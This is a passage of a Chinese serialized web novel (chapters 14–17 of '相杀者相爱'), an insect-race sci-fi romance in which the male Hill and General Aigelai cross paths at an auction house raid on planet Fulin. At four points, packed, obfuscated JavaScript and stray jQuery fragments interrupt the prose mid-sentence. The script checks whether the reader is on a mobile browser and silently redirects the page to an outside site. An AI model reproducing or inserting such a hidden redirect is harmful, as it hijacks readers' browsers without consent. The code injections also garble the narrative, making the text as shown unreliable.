于是在没有战斗系统智能避让的基础上,他们每一个对于阁下,都是一颗随时会爆炸的炸弹。
至今,虫族已经在格雷厄姆星域丢失了两位阁下,不管方法途径是什么,两位阁下显然对于回到虫族主星这件事,具有强烈的排斥性。
艾格莱作为第三军团的军团长,上将的军职对他这个年纪来说,已经到了头,后面再升涉及多方势力的交锋,预计还要在这个位置停留很多年。
而他同时身为法兰克黎现任家主,雄虫保护法庭和雄虫保护协会本来不能在非主观意愿的情况下,对他做出什么,但他隐瞒了袭击发生时,希尔阁下当时的身体变化。
第二次舰队雌虫们亲眼目睹,这代表第三军团集体瞒报,在具备前科的情况下,艾格莱作为军团长,将面对来自雄虫保护协会的指控。
尤其希尔,他的尾勾史无前例地开启了战斗形态,这意外着他在百分百作为一名高等级阁下的同时,基因序列觉醒程度可能达到百分之八十以上!
雌虫无法承担进化的基因,没有雄虫匹配的抚慰,葬送在基因暴乱期,似乎是他们的归途。
而雄虫的基因在几百年来不断退化,从无法开启战斗形态的尾勾,到无法自如释放尾勾,直到现在连精神力都开始变得虚弱,某些能力更是直接受到精神情绪影响,导致虫族近些年来的新生虫出生率呈断崖式下跌。
拥有足够功勋点的雌虫们,甚至不能再像以前那样,半年内就申请到冷冻精子,他们要付出更多精力才能获得一个胚胎,然后引出体外交托给保育院,如果能从战场上幸运归来,也许就会有一个流着自己血脉的虫崽。
虫族科学院研究了几百上千年,也弄不懂雌虫们为什么如此依赖雄虫的精神力和信息素,而他们同样也弄不懂,为什么雄虫在倾尽全族的保护下,依旧在不断的基因退化。
以至于到了现在,雄虫越来越弱,雌虫越来越疯。
希尔的出现对于现在陷入绝境的虫族来说,简直像是虫神降下的一道曙光。
他立刻就成为了一个非常特殊的存在,严格来说,他的重要性,在所有雄虫阁下之上。
而就是这样珍宝一样的阁下,却在第三军团眼皮子底下溜了,用得还是那么低劣普通的手段,足以窥见第三军团的管理有多么散漫,艾格莱上将难咎其责!
“啪!”杯盏被狠狠砸地。
碎片溅到雄虫保护协会首席主任莫姆的脚边,他低头看了眼,随意用脚踢开,只喊了声“老师”。
帕尔德脸色森寒,“阁下从艾格莱手下溜走了就算了,当时第一舰队和第二舰队的指挥全部在场,竟然没有一个拦住阁下吗?”
莫姆摇头,“阁下的生物信息并未录入,当时阁下的安全位列最高等级,他们要分神管理其他雌虫,而根据传来的消息
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155138|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,当时阁下明显处于过激状态,不太会允许艾格莱上将之外的雌虫靠近。”
想起什么,莫姆喉咙有些干涩,“还有,当时那位阁下的尾勾开启了战斗形态,他们对那种状态下的尾勾束手无策。”
现在偶尔有个别高等级阁下可以相对自由释放尾勾,但他们的尾勾敏感又脆弱,这种与阁下精神力神秘链接的存在,雌虫们完全不敢去碰。
莫姆现在想起这条消息,都觉得像是在梦里一样,现在虫族还有多少个高等级阁下能够随意释放尾勾?
三只手就能数得过来的可怜数字。
帕尔德好像在这瞬间又冷静了下来,眼尾压着轻褶,很欣慰的表情,“是啊,我们即将迎来一位尊贵的阁下。”
他的眼神又很快冷了下去,“如果不是第三军团无能……”
.
“上将,要不我们这次直接不去主星了,本来就是突然接到的任务。就算现在掉头回军团总部,雄虫保护协会也不能调动联邦军队攻打第三军团,至于雄虫保护法庭的指控,大不了割舍掉近两年的资源存量,先应付过去。”
汉特非常认真地提出建议。
艾格莱今天穿的松散,大敞的领口几乎透出胸前的薄肌,双手枕在脑后,长腿翘在会议桌上,松卷的半长发坠在平仰的脸侧,触角懒洋洋仰倒,像是一朵正躲懒闭拢花瓣的琉璃木朵,生来就是法兰克黎最美的植物花。
他动了动脚,对于汉特的话,像是听了,又像是没听,最后唇瓣中咽下了一些刻薄的话,只是冷笑道:“我连半年的资源存量都不会给,他们那边拿不到证据的,我给元首冕下的密函已经详述了事情经过,现在那群老家伙口口声声跳出来,只会证明他们在越权干涉政务,擅自阅览我上报给元首冕下的报告。”
“十五年了,这群老家伙还是不长教训,不知道他们那残缺的脑子什么时候才能想起来,现在已经没有雄虫皇室了。”
汉特一愣,然后大松一口气。
不过很快,上司抛来了一个致命的问题,“不过我很好奇,在相距不到三十米的空间里,你的耳朵没有捕捉到卫生间的半点不对劲吗?”
上将看着汉特的眼神格外危险,尤其落在耳朵上时。
汉特浑身僵硬,吞吞吐吐,“当时、阁下一直打开了台前的流水……”
上将动了下脚,缓缓转了自己的身体方向,正面看向了汉特。
懒懒散散地撩起眼皮,视线已经从耳朵落到了汉特的手脚,似乎在考虑从哪处动手。
汉特心神顿时垮了,如实交代,“阁下方便的时候,我怎么能故意偷听,这是在侵犯阁下隐私,被雄虫保护协会知道的话,会判处轻级猥.亵的。”
艾格莱神色复杂,他看着上一刻还提议他无视雄虫保护协会直接掉头的副官,喃喃道:“你不留在主星考进雄虫保护协会真是可惜了。”
汉特耳朵动了下,非常不好意思道:“当年没考上。”
艾格莱:“……”
14.相杀者相爱(14)
“您好,请出示邀请函~”
打扮妩媚的类人种女郎,俯身向前,笑容热情灿烂,伸出右手的同时也抛去了一个媚眼。
她隐晦的期待着,目光热切,等待着眼前的黑发类人种回应,可惜对方没被上半张面具遮住的唇,没有吐出自己想要的回应,只似笑非笑地勾了下。
拍卖会的邀请函递到手上,黑发类人种中指与拇指一个弹击,丝毫不留情地弹了过去,快要贴到他眼睛上的类人种女郎顿时一个后仰。
类人种女郎格外遗憾地叹了口长气。
她将邀请函在仪器上一刷,有气无力地挥了挥手,“三级贵宾,请进,您的包厢在二楼,欢迎参加哈里拍卖会。”
弗琳星球盛产人形宠,这里服务行业类人种占据了百分之八十,作为一个活跃在明面上,获利在暗地里的产业链,这颗星球自然没那么正经。
不同于格雷厄姆星域的混乱中带着秩序,弗琳星球是秩序下全是混乱,这里每一条买卖链,都流着腐烂的味道。
哈利拍卖行,作为弗琳星球提督一手发展起来的产业,既没有上限也没有下限。
这次拍卖没什么太大的噱头,就是一场带点娱乐性质的二手物品再拍,能不能捡到好东西,全看各位客人的眼光。
因此这次拍卖不设置门槛,只要两百高星币就能入场,而想要有包厢的邀请函,最低五百高星币起步。
希尔给出去的邀请函,就是花了五百高星币,有包厢中最低级的那种。
哈利拍卖行明里暗里、无时无刻不在推销他们的人形宠物,侍应生全部放弃机械人,统一采用类人种,当各种各样的类人种穿梭在叠形弯折的走廊中,总有部分外星种视线跟着挪动。
二楼负责将客人带往正确包厢的侍应生,同样是一名类人种,他走路时脚下几乎静音,跟在他身后的客人,是一名黑发类人种。
侍应生忍了很久,还是没忍住那份好奇心。
身后的客人一身星际流浪者的标准打扮,也是这次拍卖会最多的打扮,没什么特别出彩的,连长相都被标配的防窥探面具挡住上半张脸。
偏偏最普通的束腰长裤,被穿出利落的贵气,二楼的长廊装修一般,简直撑不住这位的气质,很莫名的感觉,侍应生脑中想了好久。
终于想起来,自己在这位客人身上感觉到的相似感,似乎是来源于前不久一位爆火的明星,有很长一段时间,那位明星的影像一直出现在星网各类媒体平台。
侍应生平日很少关注这类消息,凭借着模糊的印象,想起那位明星似乎是虫族的雄虫阁下。
“滚开,挡路的家伙!”
巨大的力道推了身体一把,侍应生猝不及防向一旁倒地,神色惶恐抬头,发现是个浑身酒气的外星种客人,标配尺号的面具也挡不住那张狰狞丑陋的脸,他向后缩了下,本能道:“抱、抱歉。”
希尔冷淡看着眼前一幕,避开不准备发生冲突,向后一踩,支着右腿靠在墙面上,等着对面的外星种过去。
谁知心满意足独占整条走道的家伙,在路过希尔身边时,眼睛像是被磁铁给吸住了一样,身体向前头一扭眼睛竟直直盯住了他,步子瞬间不动了。
蛮横的外星种快要流下口水,他似乎完全无视了希尔脸上代表客人的面具,径直就要将人往怀里拥,“好货啊,把你们经理叫出来,这个要多少星币我买了!”
侍应生呆了下,才反应过来再对自己说话,连忙惊恐阻拦,“等等这位客人!他并不是,您认错了!”
希尔歪头避开摸向自己面具的手,伸手按住颈侧很深地叹了口气,他活动了下脖子,也压下了瞬息的杀意,对于这位快要逼到自己身上的垃圾玩意,他连动手都觉得脏。
“啊啊啊啊——!!”
希尔一脚踩碎了这家伙的小腿,他低头唔了一声,脚尖一勾反折用力,断了对方一只手,软下来的手一脚踩实,狠狠将其堵进了那张嚎叫的嘴巴里。
等这名外星种四肢软趴趴全在自己身上打了结,像个皮球一样被希尔一脚踹下二
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159683|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
楼,侍应生都没有反应过来,他呆愣半天,手脚使不上力,之前对于希尔的好奇全变成了恐惧。
客人走过他,低眸很淡地看了他一眼,侍应生喉咙堵塞,却还是注意到面具后微微竖起的瞳孔,他浑身软的更厉害了。
“那间?”客人微微扬起下颚,示意几米后的那间包厢,不耐地问道。
侍应生连忙点头。
等希尔在包厢中坐下,那点被什么东西恶心了的火气还在,恰在此时通讯响起。
考特的投影出现在半空,
“老大,拍卖开始了吗?”
希尔没回答,而是凉凉出声,“巴克呢?”
考特一扬手,“这呢!”
画面中,巴克被倒吊着,绑的结结实实,在看到希尔时,堵住的嘴巴激动传来呜呜声,像是一条乱蹦的龙虾,疯狂蛄蛹着。
就是这家伙,把从希尔身上扒下来的所有东西,全部转手卖给了哈里拍卖行,也是导致希尔等了足足一个月后,出现在这里的原因!
希尔心情糟糕透了,“虽然我记得的东西不多,但你应该是头一个,让我花两份钱从别人手中,买回自己东西的家伙。”
第一份钱,自然是拍卖会的邀请函。
老大看上去要炸,考特立刻机敏道:“老大你放心,我这就把这家伙给扒了个精光吊起来!”
蛄蛹着的巴克最终一句话都没能吐出来,消失在关闭了的星脑投影中。
希尔再次揉了下自己后颈,不等糟心的心情好转,他突地侧首,缓缓抬起左手。
这段时间,他是从什么时候开始,有了这个习惯的?
.
二楼踹下来一个肥壮的垃圾,砰地砸向了一楼,在一片尖叫中,险些被整个砸成烂泥的最大受害者——艾格莱上将,他克制地摸了下面具,指尖险些捏碎质地坚硬的防窥探面具,最终视线冰凉看向二楼,隐形耳麦中正传来汉特疯狂的安抚。
“忍耐!!!”
“不要暴露身份!!!”
15.相杀者相爱(15)
一个月前,格雷厄姆星域上空。
迪格索伦少家主——尤维斯带队抵达目的地,在与第三军团长艾格莱上将交接管理权后,微笑着表达了自己的祝福,“祝您好运,主星那边正摩拳擦掌恭候您的大驾~”
年轻的尤维斯少将粉发金眸,生来的冷色调压住了这两种过分绚烂的颜色,他站在艾格莱面前不卑不亢。
作为同为虫族七大原始氏族的迪格索伦少家主,未来板上钉钉的迪格索伦家主,第七军团在任少将之一,尤维斯站在艾格莱上将面前,完全有资格挺直自己的腰背。
艾格莱上将慢悠悠将椅子从背面转到了正面,他无趣的时候,深灰色的瞳孔像是灰色的玻璃,透着无机质的冷淡,散漫向后一靠,上将用仰视的姿势,压下了年轻上将撑起来的所有气势。
“你的弟弟是硬生生消失在第三军团的侦查部队的搜寻范围中的。”
“没关系,家族中的生物安全芯片,显示他的状态一直很好,甚至要比前段时间到处逃窜的时候,还要稳定。”尤维斯对于自家最小的雄虫弟弟离家出走这件事,接受程度格外的好。
艾格莱挑眉,“你看上去一点都不担心。”
尤维斯非常无奈地叹了口气,“倒也不是,不过让他吃些苦头也是好事情。”
艾格莱谈及雄虫,很快感到无聊。
“一个被虫化状态下雌虫吓哭的小屁孩。”
尤维斯试图为弟弟辩驳,“他今年已经进入18岁青年期了,而您当时遇见他的时候,也不过才20岁。”
艾格莱轻笑,“尤维斯上将,我九岁的时候已经全部训练成绩满分,正提交提前入伍的申请书呢。”
他懒洋洋叹了口气,像是个稳重的成年长辈,即使那张脸看上去太过年轻,但当一位雌虫经历过虫族最混乱的十年,这样颠沛刺激的阅历,足够让他对现在持久的平静失去太多兴趣。
“总之,你的弟弟当时真是让我再一次为雄虫感到绝望。”艾格莱起身,整理着松开的袖扣,路过尤维斯时,侧身注视他的目光中,有着轻微的怜悯,“压上整个家族去守护一个雄虫,看来你还乐在其中。”
尤维斯依旧微笑,直视前方的目光未曾偏移半分,“上将,您太骄傲了。”
他们从漆黑的巢穴中,扑棱着翅膀飞向外面的世界,一开始就带着延续族群的本能振动翅膀,掠夺途中融合的文明,并不能真的让他们成为真正的智慧种族。
撕掉这层人样,每一个都是追寻本能的野兽。
虫族没有文明,当他们开始学着记载自己的历史,沉淀出属于自己的文明时,却发现他们的过去,甚至没有生存的星球时间悠久。
发疯又能如何,骄傲并不能拯救什么。
更何况在尤维斯眼中,艾格莱上将什么都不知道,对方就连出生,都是自己生生凭借本能啃咬破壳,未曾接受过雄父亦或是雄虫阁下的丝毫精神力引导。
对于这种话,艾格莱连余光都懒得再看,最后交代道:“守好格雷厄姆星域,这里不仅莫名其妙吞掉了你的弟弟,还出现过不稳定的虫洞,和不知能力的陌生异兽。”
“我们,”艾格莱突然顿了下,脑子里奇怪地想起了当时的画面,黑发雄虫视线落在星空之上,平静而淡漠,仿佛看着一个更遥远的地方。
尤维斯;“我们?”
艾格莱扯了扯唇,“我们可能,要有大麻烦了。”
上将的心情看上去在某个瞬间突然糟透了,尤维斯明智地止住了嘴。
.
虫族十二军团根据十年前的协议,每五年就要参加主星的军事述职,与此同时分布在各个星系星域的军校都会在军校本部筛选完顶尖队伍后,前往主星进行赛事大比,用以划分来年的资源配比,之后就是各大军团的现场征兵。
各大军团第一梯队的预备种子,基本都是在这个时候互相抢来的,对于虫族而言,能用上抢字,与各大军团高层现场互殴也没有区别了。
第三军团原本是蓄势待发,从上到下做足准备,结果路途中就近被分配了捉离家出走的阁下们的任务,到现在惹了一身腥。
距离军事述职,还有五个月,从格雷厄姆星域径直回主星,只需要大半个月的时间。
那么,现代第三军团其实也没那么着急了。
“上将,元首冕下传来了一个新任务,询问您是否绕路解决一下。”汉特眉飞色舞。
冕下实在是太贴心了,主动帮他们拖延时间,如果能这期间不断有绕路的任务传来,他们就能合理拖延到军事述职的时间节点。
到时候整个主星都会忙的脚不沾地,雄虫保护协会根本腾不出手来处理第三军团的这点事,因为十二军团中总会有更极端的家伙。
第三军团不怕雄虫保护协会,但被盯着找事,就像是卡在嗓子眼里的鱼刺,一吃东西就噎得慌。
艾格莱侧眸,“什么任务?”
汉特点开任务,“弗琳星球提督疑似违反星际公约,擅自开辟地下拍卖会,进行虫族雌虫幼崽倒卖,甚至有暗探传来,他们甚至会在这次拍卖雄虫阁下的冷冻精子。”
弗琳星球对于人形宠的痴迷众所周知,他们为了让不同种族的类人种看起来更加完美,会主观意义上的手术消除掉他们认为不完美的地方。
而这种不完美放在虫族雌虫幼崽上,多半就是他们受情绪控制变化的瞳孔和外显的触角,至于垂危状态下的被动虫化能力,恐怕也会被药
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15164180|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物封锁。
这对于虫族算是历史老毛病了,几百年前,那群为了利益发疯的家伙们,甚至敢私底下倒卖雄虫幼崽。
不过汉特惊疑的是,“阁下们的冷冻精子现在日渐稀少,虫族内部的申请流程难度翻了三四倍不止,这个地下拍卖会是怎么拿到的?”
“主星前些年不是才清理了一波吗?”
“蛀虫又冒头了呗。”艾格莱起身,他已经看烦外面的迟缓流动的星河,军舰这些天不叫行驶,而是低动力漫游,“这次任务我参与其中,你负责指挥。”
闻言,汉特有些艰难地笑了下,“指挥的话,包括您吗?”
艾格莱诧异看他一眼,“当然不,我具有自由行动权。”
汉特心想,那指挥起来真是太难了。
.
一身普通星际流浪者打扮的艾格莱上将,甚至没有买包厢位,只有在一楼大厅躲在无数客人之中,才能在混乱发生的时候,找到地下拍卖会的入口。
结果就是进入一楼,就险些被二楼踹下来的垃圾砸中。
艾格莱没有出手,他向后避开了可能发生的惨案,低头看了眼。
摔下来的垃圾是个被打成一个结的外星种,对方柔软的四肢在这个时候毫无作用,反而成了天生的绳索。
耳边正传来汉特的安抚,艾格莱视线冰冷,扬起下颚看了眼二楼,面具无法遮住的线条锋锐凉薄,隐隐指向了二楼看不见的那位始作俑者。
“我不会做什么的,你先闭嘴。”
耳边安静下来,艾格莱落座,二楼的某件包厢内,希尔也走到了特制的窗口前,他看不见一楼的大厅,五百高星币买来的包厢,只能直通拍卖台上的每个二手物件。
哈里拍卖会正式开始。
之前的侍应生敲门进来,送上赠送的廉价甜点,离开时视线悄悄上移,却发现这位客人一边低头看着窗口屏幕,一边伸手不舒服地按着头顶。
而后在侍应生眼中,与他所想再正常不过的场景出现了,一对触角倏地弹了出来。
纤细的、灵动的灰色小触角,伸懒腰一样地晃了晃,细长的主体撑起了两个负责感知的椭圆小点,一圈一圈蔓延的纹路绕在主体上。
侍应生莫名松了一口气,果然是虫族的雌虫,之前的触角应该是睡在了发丝里,所以肉眼看不出来。
他刚要后退,却发现不知什么时候这位虫族客人僵住了身体,被脚步声惊动般,像是断了电的机器人一样,卡卡地转过了身体。
面具都遮不住那双眼睛里的震惊。
客人伸手指着自己的头顶,声音很奇怪。
“你看到了什么?”
侍应生吓住,“虫、虫族……触角?”
16.相杀者相爱(16)
得到答案的客人似乎想要仰头看一眼,然而他一动头,触角也自然地向后仰去,最后什么都看不到。
最终,客人礼貌道:“请帮我调出包厢内的镜子。”
侍应生不敢揣测这名虫族雌虫奇怪的行动,毕竟太多事件证明了雌虫们的喜怒无常。
他很听话,客人让做什么就做什么。
得到一面完整立体镜面的客人挥手,“你可以离开了。”
侍应生悄悄离开,这次一点脚步声也不敢再有,在关上包厢门的时候,忍不住往里面瞄了一眼。
黑色头发的客人正站在镜面前,歪着头晃了下脑袋,又凑近镜面,伸手想要去揪——
发愣的侍应生动作仅是慢了一秒,就对上客人淡淡瞥过来的侧眸,深到近乎紫墨的眸子,不带任何情绪地警告着他。
半遮脸的面具,没有丝毫突兀性。
侍应生啪地一下拉上了包厢门,惊骇莫名,如果不是种族特征被强行药物逆转,他现在已经竖起自己的兽耳,只因这种单纯到不讲理的基因碾压。
希尔很莫名地收回视线,根本不知道侍应生在一惊一乍什么,他抱胸看向镜面中的自己,额头前从头发里面冒出的小触角,正微微晃动着,跟他打着小招呼。
真好笑,希尔冷漠心想,他就说这个虫族不太对。
否则按照他们的判定,自己现在算什么?
虫妖?忽雄忽雌?
希尔恨铁不成钢地敲了一下脑袋,就不能争气点,一鼓作气想起来!
他一动作,额头上的小触角就晃,看上去比主人还委屈,细长主体支棱起椭圆小点,只在细微处和他之前看过的雌虫触角不太相同。
此时屏幕中传来正式叫拍声,希尔不再关注自己身体突然的异变。
最近他的各种反应开始情绪化,随着一些片段从记忆海中浮现,身体也像是在迎接某个时期的到来。
好像不太妙。
希尔眼神扫过拍卖台,一边分屏看着物品介绍,在脑中闪过类似直觉性的念头后,还是将全部注意收回,他现在最主要的任务,是顺利地拿回属于自己的东西。
开盲盒式的二手拍卖,对于来凑热闹的大多数客人来说,就像是一场热闹的跳蚤市场,不管什么东西,都会有人举起叫价牌。
终于拍卖主持伸手一划,主台上的托盘自动更替,他低头看了眼手中的表单,敬职敬业地调动气氛,“诸位!下面这些东西来自于一个神秘的种族,他们从黑洞中掉落死亡,留下的这些,可能蕴含着另一个种族的宝藏!”
“得到它们!也许能为未来开启一个新的可能!!”
有客人怪笑这老一套的说辞,零零散散响起几个捧场声,在防窥探面具的作用下,他们连声音都是假的。
希尔终于停下挑拣廉价甜点的动作,从座上起身,认真去看拍卖主台上展示的东西。
——“一套配备系统的战斗套装!”
“是一套不明材料的战斗套装,即使已经损坏,我也无法拆解,是在强行报废了套装内镶嵌的生物系统后,才勉强扒下来的!别打了!”
——“一套规制陌生的军装!”
“扒为外置战斗套装后,看军装设计还行,所以顺手一起扒了。”
——“样式神秘的勋章!”
“军装上面硬拆下来,分成两类可以多卖点。”
——“最后的重头戏,就是虽然因为脱离宿主停机,但经我们研究发现,只要能破解其中的系统防火墙,就可以重启这个与星脑类似的智能设备!最终接通通讯的另一端,究竟是一个蕴含丰富资源矿的弱小种族,还是未曾被发现的新美丽类人种,全看诸位的运气了!”
拍卖主持介绍结束,竖起两根手指,他的面孔被一整张面具挡住,却依旧好像在热情微笑。
“两千高星币起拍,加价随意。”
“我看这个东西跟通用星脑很像,这种带着另一种族的科技信息,完全自制的智能设备,一般能卖个不错的价钱,我真不知道老大你是虫族的啊啊啊啊啊!!!”
——以上第二句,来源于被审讯的巴克。
希尔没有立刻按下拍卖键。
而是认真打量着拍卖台上的物件,确认一件不漏,每一件都和巴克说的一样后,才跟在有一搭没一搭的加价中后面按下。
拍卖准备的整理师,将缺口烂痕整齐地折在里面,方方正正就像是一个只有最精致部分的设计图,深黑打底深红勾边,坚硬的金属折边流光一闪,藏不住的撕裂残痕,再怎么包装都盖不住的严重损坏。
被硬扣下的勋章与肩章,整齐磊在领口偏下的位置,看起来就像是完整的一套。
在下面,就是损坏更严重的战斗套,最上面孤零零一个腕式智能设备安放在精致礼盒中。
不管拍卖会如何夸大,他们整理出来这么一摆,给足了仪式感,看在眼中想象拿到手里的话,似乎也不算亏。
艾格莱的视线很少落在拍卖台上,对于垃圾他看不上,别人用过的垃圾,他更是看不上,视线挪动时,精准测算着建筑能动手脚的部分。
拍卖主持滔滔不绝时,他正盯住对方脚下的位置,注意到对方站定的位置似乎角度偏移,正眯眸注意地缝之间是否有空隙时,突然感觉到了什么,无意识舔了下唇。
空气好像突然有些甜。
像是突然意识到一件足够恐怖的事实,艾格莱缓缓抬头,他动作足够慢,像是在给脑子反应的时候。
可身体依旧近乎本能地,锁定了不对劲的源头,在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15169867|164455||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那瞬间,唇瓣被压出一道很深的白痕。
正是拍卖台上的拍卖品。
干涸的血液沉淀后,会融入军装的一针一线中,在深黑与深红的配色中,它的存在感低到仔细看,也近乎看不出来的程度。
但血液中属于雄虫的信息素,不知道隔了多久,在暴露于空气中的瞬间,尽职尽责地向外挥发,迟缓又畏缩,一点一点地将它们主人的信息素分子融入空气中。
雄虫血肉中的信息素与等级息息相关,但血肉溢散出的信息素会勾动雌虫的狂躁,随强度间接引发雌虫的发.情期和基因狂乱期,能够压制雌虫发情期的信息素凝露,仅来源于雄虫后颈腺体。
普通平息,则源自雄虫后颈腺体自主释放的信息素。
完全交互,对于现在的雌虫们来说,不如做梦。
错误位置散发的信息素对雌虫不是好事,有的时候只觉得荒诞,仿佛雄虫任何的受伤,对于雌虫来说都是罪孽,他们必须保护才能免受反噬。
而现在,衣物中干涸血液的主人,显然是个等级极高的阁下。
艾格莱就像是真空暴露在基因催化剂下的实验体,他漠然向后一靠,强行压制住一切反应,伸手打开关闭的隐形通讯耳麦,
“我找到了,在拍卖主持的脚下,提前行动。”
艾格莱在命令的同时,视线挪移,深灰色瞳孔竖起,额头上被伪装起来的触角,一点点立起,他漫不经心想了很多,其实并不在意一位陌生阁下的血,是如何浸透大半件军装的。
大概要流掉半身的血,或许已经死了,但这是个拿捏雄虫保护协会的好机会。
自诩于保护着每一位阁下的雄虫保护协会,要如何面对这种近乎半身伤残的铁证?
艾格莱身体滚动着烦躁的基因,唇角却讥诮勾起,危险又凉薄。
对于可能整理过无数件类似二手物品的哈里拍卖行,根本不会特别检验一件破烂军装上的血迹,骗骗人的话哪里值得深究,就连那个类似星脑的东西,他们在确认无法开启后,就直接整理起下一件。
在拍卖走到尾声的时候,是二楼的一位客人以三千高星币拿下,拍卖主持最终敲下归属。
艾格莱没有出价的打算,反正所有拍卖物品最后都会在后台统一扣款领取,到时候炸了这个地方,他有的是时间。
拍卖主持一划手,下一件物品即将替代,替换之间,平放着的拖台轻轻一颠,摆放在领口处的勋章歪了下,露出被领口叠住,只能看见半边的纹案。
那是一个不完整的家族徽纹。
虫族的视力实在太好了,这一瞬间一楼的艾格莱,和二楼的希尔视线同时停住,瞳孔骤缩!
然而下一秒,
轰!
拍卖会现场被炸了!
17.相杀者相爱(17)
虫族爆破先遣队在得到命令后,就是一群开始撒欢的疯狗,星际舰炮的火光直接冲着目标点轰,一时之间天塌了地陷了,在场客人们全部抱头鼠窜!
在变故突现的刹那,拍卖主持明显经验丰富,头也不抬向后一跑,人影迅速消失在后方层层堆叠的幕布中。
徒留下一整个要被轰穿的拍卖行。
反正这也只是哈里拍卖行的一个分行。
摇摇欲坠的建筑内,破损的墙块正从各个角落掉下,其中一块不偏不倚,将停在替换半途,本就摇摇欲坠的托盘砸落。
啪嗒一声落地声,在此时,比身边所有混乱的尖叫还要大声。
艾格莱不太确定自己是不是看错,他一扫散漫,直冲拍卖台而去!
许多客人心口发慌,在物种压制下,不等他靠近,就手忙脚乱地向着一旁躲避。
然而空气中弥漫开的雄虫信息素,不知道什么时候积压到了一个危险的临界点,艾格莱迅疾的身体冲势,生生止在了拍卖台的几米外。
越靠近越浓郁,雄虫的信息素撩拨整片空气,化身对雌虫而言堪称致命的诱导素。
这群家伙竟然把这种东西三千高星币卖出去,如果提纯凝练,直接在交战时,往虫族主战场上一丢,即使有系统过滤,在信息素等级差异过高的勾引下,造成的混乱比任何迷惑武器都好用十倍!
由于信息素并不靠呼吸作用,是一种类似体感的作用反应,会像细密的各类气味,贴在每个皮肤缝隙钻入身体深处,不断刺激雌虫大脑。
而现在,即使艾格莱捂住口鼻一再口退,都不能消匿他的身体正在被这种高等级信息素,缓缓入侵身体的体感错觉。
艾格莱堪称狼狈地又退了一步,呼吸有些发闷,他一把扯掉防窥探面具,被拦住的半长卷发松松垂下,素来懒散的眸子幽幽沉入深色,他在某一瞬因为身体反应看上去柔软,却又因此,更加危险。
艾格莱按住耳边,冰冷盯住被压住一半的托台,“先遣队全体后退,汉特带队清场,随身携带信息素凝露,等级要最高的,先给我送一支进来。”
晃动的高楼建筑因此极快停住,建筑残渣却还在哗啦啦掉落。
二楼三楼往上,还有一些客人从崩塌的房间内向外跑,身体数据扛得住的,就直接向下跳,跟一堆建筑块体一起下饺子。
对于这些,艾格莱眼皮都没有抬一下。
他不用去看,就知道这些家伙的落地点,二楼那个起跳的——
艾格莱骤然抬头!
对方动作轻盈,从二楼起跳的时候甚至没有蓄力,空中一个侧转踩住旁边墙体借力又是一跳,面上的防窥探面具非常稳,几个重力弹跳都没有丝毫歪斜,穿着一身最普通流浪者装扮的黑发客人,像片羽毛一样立在了残损的拍卖托台之上。
他看也不看几米外的艾格莱,转身就要去拿落在废墟中的拍卖物件。
艾格莱知道,那是他拍下的东西。
然而他毫无表情,语气懒散而冰冷,有一种不急不缓地压迫感充斥其中,
“站住。”
右手一抬,流体机械从衣物下的臂膀处,向手腕汇聚而去,机械蓝光闪烁片刻,小型光能枪已经自动组装完毕。
能一枪直接将人和墙体一起轰成粉末的高危武器,就这么闪现般出现在艾格莱的手中,指尖一动,枪口警告性地对准了这位二楼客人的脑袋。
黑发客人变形的声线传来,在此时有种奇怪的淡定:“这是我拍下的东西,拍卖行已经提前扣掉了我的押金。”
艾格莱不为所动:“现在转过身。”
对方黑色发丝让艾格莱的视线停了下,体内滚烫的烦躁感简直要逼疯大脑,他似乎在这个冒犯的家伙身上,感觉到了一种奇怪的吸引力。
以至于定住的视线,很长一会才艰难地眨了下眼。
对方转身,甚至非常自觉地摘下了面具,随着可以隐藏客人各种体表信息的防窥探面具取下,对方黑色发丝褪色一般变成了灰棕色,瞳孔颜色变成了无趣的棕灰色,一张有些年轻的陌生面孔,额头上代表雌虫身份的触角,活跃地动了动。
非常古怪,艾格莱的视线停在了触角上面,这小东西晃动的弧度,简直像是在炫耀。
竟然会产生这种荒诞的感觉,他的大脑现在果然被该死的雄虫信息素干扰了!
